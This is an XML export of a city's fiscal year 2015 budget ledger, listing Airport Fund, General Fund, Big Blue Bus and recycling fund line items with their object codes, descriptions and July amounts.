<row _id="15433"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>733.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>733.0</total></row>
<row _id="15434"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533070.0</object><object_description>AIRPORT SECURITY GUARDS TRANS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>664960.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>664960.0</total></row>
<row _id="15435"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2920.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2920.0</total></row>
<row _id="15436"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533170.0</object><object_description>AUDIO EQUIPMENT MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>18838.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18838.0</total></row>
<row _id="15437"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>588200.0</object><object_description>BLDG RENOVATION / MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>163859.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>163859.0</total></row>
<row _id="15438"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1567.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1567.0</total></row>
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<row _id="15440"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8048.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8048.0</total></row>
<row _id="15441"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>16631.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16631.0</total></row>
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<row _id="15443"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402162.0</object><object_description>FILMING RECEIPTS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-15183.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-15183.0</total></row>
<row _id="15444"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>9710.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9710.0</total></row>
<row _id="15445"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2366.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2366.0</total></row>
<row _id="15446"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2036.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2036.0</total></row>
<row _id="15447"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>528.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>528.0</total></row>
<row _id="15448"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>454081.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>454081.0</total></row>
<row _id="15449"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>577220.0</object><object_description>INTRST EXP-BONDS &amp; OTHR LOANS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>530170.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>530170.0</total></row>
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<row _id="15452"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>296635.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>296635.0</total></row>
<row _id="15453"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1078.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1078.0</total></row>
<row _id="15454"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1883.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1883.0</total></row>
<row _id="15455"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5239.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5239.0</total></row>
<row _id="15456"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15457"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>566120.0</object><object_description>EMPLOYEE SERVICE AWARDS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>30211.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30211.0</total></row>
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<row _id="15459"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>407400.0</object><object_description>STATE RECYCLING PROGRAM</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-55200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-55200.0</total></row>
<row _id="15460"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
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<row _id="15462"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>11730.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11730.0</total></row>
<row _id="15463"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1574.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1574.0</total></row>
<row _id="15464"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>407480.0</object><object_description>AIRPORT PARK DROP IN PROGRAM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-6200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6200.0</total></row>
<row _id="15465"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>577050.0</object><object_description>PROPERTY TAXES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9351.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9351.0</total></row>
<row _id="15466"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>588500.0</object><object_description>MISCELLANEOUS EQUIPMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20243.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20243.0</total></row>
<row _id="15467"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1481180.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1481180.0</total></row>
<row _id="15468"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>13629.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13629.0</total></row>
<row _id="15469"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>34874.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>34874.0</total></row>
<row _id="15470"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12000.0</total></row>
<row _id="15471"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407920.0</object><object_description>CAP GRNTS-PROP 1B-BUSES</object_description><category_code>657.0</category_code><category_code_description>Capital Grants</category_code_description><fiscal_year>2015</fiscal_year><july>-1558334.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1558334.0</total></row>
<row _id="15472"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>13600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13600.0</total></row>
<row _id="15473"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12500.0</total></row>
<row _id="15474"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>44436.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>44436.0</total></row>
<row _id="15475"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>15992.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15992.0</total></row>
<row _id="15476"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>79404.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>79404.0</total></row>
<row _id="15477"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>404930.0</object><object_description>SALE OF COMPOSTING BINS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-2000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2000.0</total></row>
<row _id="15478"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15479"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>35663.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>35663.0</total></row>
<row _id="15480"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>566880.0</object><object_description>EXPLORER POST</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4689.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4689.0</total></row>
<row _id="15481"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10180.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10180.0</total></row>
<row _id="15482"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402100.0</object><object_description>AIRPORT - FUEL SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-290454.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-290454.0</total></row>
<row _id="15483"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-27500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-27500.0</total></row>
<row _id="15484"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>YEAR-END CASH OUTS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15485"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>55805.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>55805.0</total></row>
<row _id="15486"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>110080.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>110080.0</total></row>
